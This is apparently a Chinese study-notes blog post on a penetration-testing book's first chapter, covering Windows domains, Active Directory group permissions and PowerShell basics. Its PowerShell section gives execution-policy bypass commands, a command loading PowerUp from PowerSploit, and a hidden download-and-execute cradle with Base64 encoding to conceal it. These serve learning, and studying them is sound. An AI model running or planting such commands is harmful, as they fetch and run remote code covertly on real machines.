写在前面
本篇笔记的内容主体是《内网安全攻防渗透测试实战指南》的第一篇的相关内容,主要还是内网渗透中的基础概念,学起来也相当枯燥,有一些理解起来还是有些难度,这里也写一写自己对于书中一些内容的理解。
域环境基础
一些概念
工作组
将不同的计算机按功能(或其他标准)分别列入不同的工作组。在网络中计算机加入的工作组如果不存在,将会新建一个工作组。工作组中的个体可以相互访问、共享资源。工作组中没有几种管理作用,且计算机都是对等的。
什么是域
域,Domain,是一个有安全边界的计算机集合,安全边界是,在两个域中,一个域中的用户无法访问另一个域中的资源。相对组来说,域的安全管理控制机制更加严格,用户必须以合法的身份登录,且对域内资源拥有什么样的权限也取决于用户在域内的身份。
域控制器,Domain Controler,DC,域中一台类似管理服务器的计算机。域控制器负责所有连入的计算机和用户的验证工作。域控制器中存在由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。如果用户不通过域控制器对账号、密码等信息的合法验证将无法登录域中并使用域中服务器的资源。同时域控制器是整个域的通信枢纽。
几种域环境
- 单域
仅有一个域即可满足需求所构成的域环境,在一个域内,一般至少有两台DC,主备关系。活动目录的数据库存储在DC中,如果没有备份DC,那么主DC瘫痪后,域内的用户就不能正常登录域内。
- 父域和子域
在一个域内再次划分一个或多个小于第一个域的域环境,则第一个域可以称为父域,其他各部分域环境称为该域的子域。
PS:在同一个域内,信息交互的条目较多,且不会进行压缩;在不同的域之间,信息交互的条目相对较少,且可以压缩。
PPS:每个域都有自己的安全策略。
- 域树
多个域通过建立信任关系组成的集合。一个域管理员只能管理本域,不能访问或管理其他域,如果两个域之间需要访问,则需要建立信任关系—Trust Relation。信任关系是连接不同域的桥梁。
域树内的父域和子域,不但可以按照需要相互管理,还可以跨网络分配文件和打印机等设备及资源,从而在不同的域之间实现网络资源的共享与管理、通信及数据传输。
- 域森林
多个域树通过建立信任关系组合成的集合。
- 域名服务器
Domain Name Server,DNS,指用于实现域名和与之相对应的IP地址转换的服务器。
域树中的域名和DNS域名非常相似,实际上,因为域中的计算机是使用DNS来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS域的名字。
内网渗透测试中,大都是通过寻找DNS服务器来确定域控制器的位置,这是因为DNS服务器和域控制器通常配置在同一台机器上。
活动目录
Active Directory,AD,是指域环境中提供目录服务的组件。用于存储有关网络对象(用户、组、计算机、共享资源、打印机和联系人等)的信息。目录服务是指帮助用户快速、准确地从目录中找到其他所需要的信息的服务。活动目录实现了目录服务,为企业提供了网络环境的集中式管理机制。
活动目录主要提供以下功能:
- 账号集中管理:所有账号均存储在服务器中,以便执行命令和重置密码等。
- 软件集中管理:统一推送软件、安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择需要安装的软件。
- 环境集中管理:统一客户端桌面、IE、TCP/IP协议等设置。
- 增强安全性:统一部署杀毒软件和病毒扫描任务、集中管理用户的计算机权限、统一制定用户密码策略等。可以监控网络,对资料进行统一管理。
- 更可靠,更短的宕机时间:例如,利用活动目录控制用户访问权限,利用集群、负载均衡等技术对文件服务器进行容灾设置。网络更可靠,宕机时间更短。
域控制器和活动目录的区别
在较大规模的网络中,需要把网络中的众多对象分门别类、井然有序地放在一个大仓库中,并将检索信息整理好,以便查找、管理和使用这些对象(资源),这个拥有层次结构的数据库就是活动目录数据库,简称AD库。而AD库则存储在DC服务器中。
安全域
这里借用一点防火墙设备上的概念来进行阐述。
- Trust区域:信任区域,该区域内网络的受信任程度高,通常用来定义内部用户所在的网络。
- DMZ区域:非军事化管理区域,也有一说称之为隔离区,该区域内网络的受信任程度中等,通常用来定义对外提供服务的服务器所在的网络。
- Untrust区域:该区域代表的是不受信任的网络,通常用来定义Internet等不安全的网络。
域中计算机的分类
- 域控制器
域控制器用于管理所有的网络访问,包括登录服务器、访问共享目录和资源。域控制器中存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息。
在网络中可以存在多台DC,以分担不同的操作,可以一起进行工作,自动备份用户账户和活动目录数据。多台DC的存在可以提高网络的安全性和稳定性。
- 成员服务器
安装了服务器操作系统并加入了域、但没有安装活动目录的计算机,负责提供域内网络资源。
- 客户机
域中计算机可以是安装了其他操作系统的计算机,用户利用这些计算机和域中的账户就可以登录域。
- 独立服务器
既不加入域,也不安装活动目录的服务器。独立服务器和域没有关系。独立服务器可以创建工作组、与网络中的其他计算机共享资源,但不能使用活动目录提供的任何服务。
域控制器用于存放活动目录数据库,是域中必须要有的,其他三种角色则不是必须要有的,域中的各服务器的角色是可以改变的。
域内权限
- 域本地组
多域用户访问单域资源(访问同一个域),可以从任何域添加该用户账号或通用组、全局组,但只能在其所在域中指派对域中资源的访问权限。域本地组不能嵌套在其他组中。 域本地组主要用于授予本域内资源的访问权限。
简单举个栗子:从外面来了一个人(任意用户)到自己家中,域本地组权限则限制这个人在家中可以做些什么,出去家门后该权限限制失效。
- 全局组
单域用户访问多域资源(必须是同一个域中的用户),只能在创建该全局组的域中添加用户和全局组。可以在域森林的任何域内指派权限。可以嵌套在其他组中。
可以将某个全局组添加到同一个域的另一个全局组中,或其他域的通用组和域本地组,但不能添加到不同域的全局组中,全局组只能在创建它的域中添加用户和组。一般不用来进行权限管理。
全局组和域本地组的关系,与域用户账号和本地账号的关系相似。
- 通用组
通用组的成员来自域森林中任意域的用户账号、全局组和其他通用组,可以在该域森林的任何域中指派权限,适合在域森林内的跨域访问中使用。
通用组的成员并不保存在各自的域控制器中,而是保存在全局编录(GC)中的,任何变化都会导致全林复制。
简单记忆:域本地组来自于全林,作用于本域;全局组来自于本域,作用于全林;通用组来自全林,作用于全林。
- A-G-DL-P策略
A-G-DL-P策略是指将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。
- A 表示用户账号,Account
- G 表示全局组,Global Group
- U 表示通用组,Universal Group
- DL 表示域本地组,Domain Local Group
- P 表示资源权限,Permission - 许可
几个比较重要的域本地权限
- 管理员组,Administrators
- 远程登录组,Remote Desktop Users
- 打印机操作员组,Print Operators
- 账号操作员组,Account Operators
- 服务器操作员组,Server Operators
- 备份操作员组,Backup Operators
- 域管理员组,Domain Admins,该组会被同时添加到自己所在域的Administrators组中
- 企业系统管理员组,Enterprise Admins,域森林根域中的一个组,该组在域森林中每个域内都是Administrators组的成员
- 架构管理员组,Schema Admins,域森林根域中的一个组,可以修改活动目录和域森林的模式
- 域用户组,Domain Users
一些工具
这里我就不详细展开了,基本上都是那些东西,无外乎虚拟机、Kali-Linux、常用渗透工具等等。
PowerShell基础
什么是Windows PowerShell
一种命令行外壳程序和脚本环境,可以看做是命令行提示符cmd.exe的扩展,需要.NET
环境的支持
几个特点:
-
在Windows 7以上版本的操作系统中是默认安装的
-
脚本可以在内存中运行,不需要写入磁盘
-
几乎不会触发杀毒软件
这里插一嘴,书是2020年第一版,在2020年我对网安接触的还不多,当时的杀毒软件情况我并不太了解,去年的一些情况看来,已经有多款杀毒软件能够监控PowerShell命令的执行情况,恶意命令杀毒软件会进行报毒)
- 可以远程执行
- 目前很多工具都是基于PowerShell开发的
- 使用Windows脚本的执行变得更容易
- cmd.exe的运行通常会被阻止,但PowerShell的运行通常不会被阻止
- 可用于管理活动目录
一些概念
.ps1文件
简单的文本文件,扩展名为.ps1
。文件中包含一系列的PowerShell命令,每个命令显示为独立的一行。
执行策略
为了安全性考虑,PowerShell提供了一个执行策略,默认为不执行。如果需要执行可以根据下面的操作进行修改执行策略
# 查询
Get-ExecutionPolicy
# Restricted :脚本不能运行(默认运行)
# RemoteSigned :在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的除外)
# AllSigned :仅当脚本有由受信任的发布者签名时才能执行
# UNrestricted :允许所有脚本运行
# 设置执行策略
Set-ExecutionPolicy <policy name>
运行脚本
可以参考Linux的运行命令进行理解,输入完整的绝对路径和文件命令即可执行,或.\[file name]
,注意是反斜杠。
管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用"|"连接
# 一个栗子
get-process p* | stop-process
# 获取所有以字符"p"开头的正在运行的程序并停止这些程序的运行
PowerShell常用命令
一些概念
在PowerShell下,类似于cmd
命令的命令可以称之为cmdlet
命令,命令规范采用"动词-名词"的规范,同时部分命令兼容Windows Command和Linux Shell的命令别名,另外PowerShell命令不区分大小写。
# 一些基础命令
# 新建目录
New-Item [directory name] -ItemType Directory
# 新建文件
New-Item [file name] -ItemType File
# 删除目录
Remove-Item [item name]
# 显示文本内容
Get-Content [file name]
# 设置文本内容
Set-Content [file name] -Value [text content]
# 追加内容
Add-Content [file name] -Value [text content]
# 清除内容
Clear-Content [item name]
# 题外话:书中这部分命令可能存在一些错误,因为我照搬书上的命令去执行会报错,我猜想可能是因为写书的时候使用的PowerShell版本(4.*或其他非5.*版本)和我目前使用的版本(5.*)并不一致导致的,具体原因我并没有深究,但是我上面写的命令,将对应内容补充完整,执行起来应该是没有问题的。
一些PowerShell命令其他需求的同学,可以参考这篇文章进行学习一下——Windows PowerShell基本语法及常用命令
这里说一点其他的,单词"Item",译为项目,可以理解成一个对象的意思。所以上面的新建内容我这里理解为新建一个对象,对象类型为目录Directory
或文件file
或其他类型。
常用命令
这里开始的实机测试都是对脚本进行执行,这个过程中我发现的一个比较算是有意思的点吧。Windows系统在你将文本文件后缀名更改为.ps1
后并需要对文件内容进行更改的时候会打开一个PowerShell的IDE软件,我不清楚其他的个人PC上会不会出现这种情况,一边是默认不能执行PowerShell脚本的执行策略,一边又自带有PowerShell脚本编译IDE软件,那我到底是能用PowerShell脚本还是不能用呢?emmmmm这是一个很值得思考的问题……
- 绕过本地权限并执行
# 绕过安全策略本地执行脚本
powershell -ExecutionPolicy Bypass -Pile test.ps1
powershell -exec bypass -Command "& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}"
命令解析:
- import-module:语法—>
import-module [PSModulePath]
,引入PowerShell模块,Windows PowerShell 在变量中指定的目录中搜索指定的模块PSModulePath
,可以理解成Python或Java的import这里闹了个乌龙,因为书上用了PowerUp.ps1这个脚本,我以为这只是一个普普通通的脚本,就自己写了一个测试用的test.ps1,没想到因为这个闹出了一点乌龙。因为自己写的这个
.ps1
导致没能准确理解import-module和后续的invoke-allchecks。
这行命令准确来讲可以这样理解——在服务器本地执行,让PowerShell绕过本地策略执行一条命令powershell -exec bypass -Command
,而所执行的命令是& {Import-Module C:\PowerUp.ps1; Invoke-AllChecks}
,命令的含义是引入模块C:\PowerUp.ps1
,引入后执行命令Invoke-Allchecks
,该命令为PowerUp.ps1
中的一条命令。
PowerUp.ps1文件可从这里下载:PowerSploit
- 从网站服务器下载脚本,绕过本地权限并隐藏执行
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xxx.ps1");[Parameeters]
书中的一些参数说明:
参数 | 含义 |
---|---|
-ExecutionPolicy Bypass |
绕过执行安全策略 |
-WindowStyle Hidden |
隐藏窗口 |
-NonInteractive(-NonI) |
非交互模式 |
-NoProfile(-NoP) |
PowerShell控制台不加载当前用户的配置文件 |
-noexit |
执行后不退出shell,这个参数在使用键盘记录等脚本时比较重要 |
-NoLogo |
启动不显示版权标志的PowerShell |
- 使用Base64对PowerShell命令进行编码
这一步相较之前的仅仅是多了一步将要执行的cmdlet
进行Base64编码的操作。
# 假如要执行下面的命令
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xxx.ps1");[Parameeters]
# 将该命令写入TXT文本文件中使用脚本ps_encoder.py或其他方法进行Base64编码
# 将生成的Base64字符串用下列命令进行执行
powershell -Nop -NonI -W Hidden -Exec Bypass -enc [Base64_code]
- 运行32位和64位PowerShell
这里只需要注意x64为程序的位置,路径位置为:%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe
,注意版本,将路径加在cmdlet
之前即可
构建内网环境
这个不写了,适合自己用就好。
写在最后
本章的内容主要以域的基础概念、PowerShell的使用基础为主,大量的基础概念,实操较少。以前没有接触过域环境、内网、PowerShell等的同学初步学起来可能会有一点吃力,除此之外,学有余力的同学可以自己学习一下书中内容的一些衍生内容,这本书整体来说算是内网的一个入门。
这章节就到这里了,以上。
Comments | NOTHING